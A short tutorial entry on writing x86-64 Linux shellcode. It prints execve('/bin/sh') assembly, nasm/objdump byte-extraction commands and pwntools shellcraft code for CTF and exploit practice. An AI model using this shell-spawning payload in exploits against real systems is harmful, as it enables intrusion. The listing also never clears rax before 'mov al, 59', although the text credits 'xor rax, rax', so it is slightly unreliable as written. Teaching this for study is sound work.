56. Shellcode Writing Basics — From Assembly to Bytes
Shellcode is a raw sequence of machine-code bytes intended to execute while exploiting a vulnerability. It is inserted as a payload in a buffer overflow or ROP chain and is also a recurring CTF subject.
Simplest Example: execve("/bin/sh")
Minimal shellcode for x86-64 Linux:
xor rdi, rdi ; rdi = NULL
push rdi
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (little-endian)
push rdi
mov rdi, rsp ; rdi → "/bin//sh"
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
mov al, 59 ; syscall: execve
syscall
Compile it with nasm, then extract the bytes with objdump:
nasm -f elf64 shell.asm -o shell.o
objdump -d shell.o | grep -Po '(?<=:\t)([0-9a-f]{2} )+'
Avoiding Null Bytes
Functions in the strcpy family stop copying at \x00. The xor rax, rax pattern zeros a register without introducing a null byte.
Practice Tools
- pwntools — Automatically generate shellcode with
shellcraft.sh() - msfvenom — Avoid bad bytes using various encoders
- shellcraft + flat() — One-line payloads
from pwn import *
context(arch='amd64', os='linux')
print(shellcraft.sh())
payload = flat(asm(shellcraft.sh()))
The keys to shellcode writing are memorizing syscall numbers, avoiding bad bytes, and minimizing size. If you get stuck here, start by analyzing the syscall flow with strace.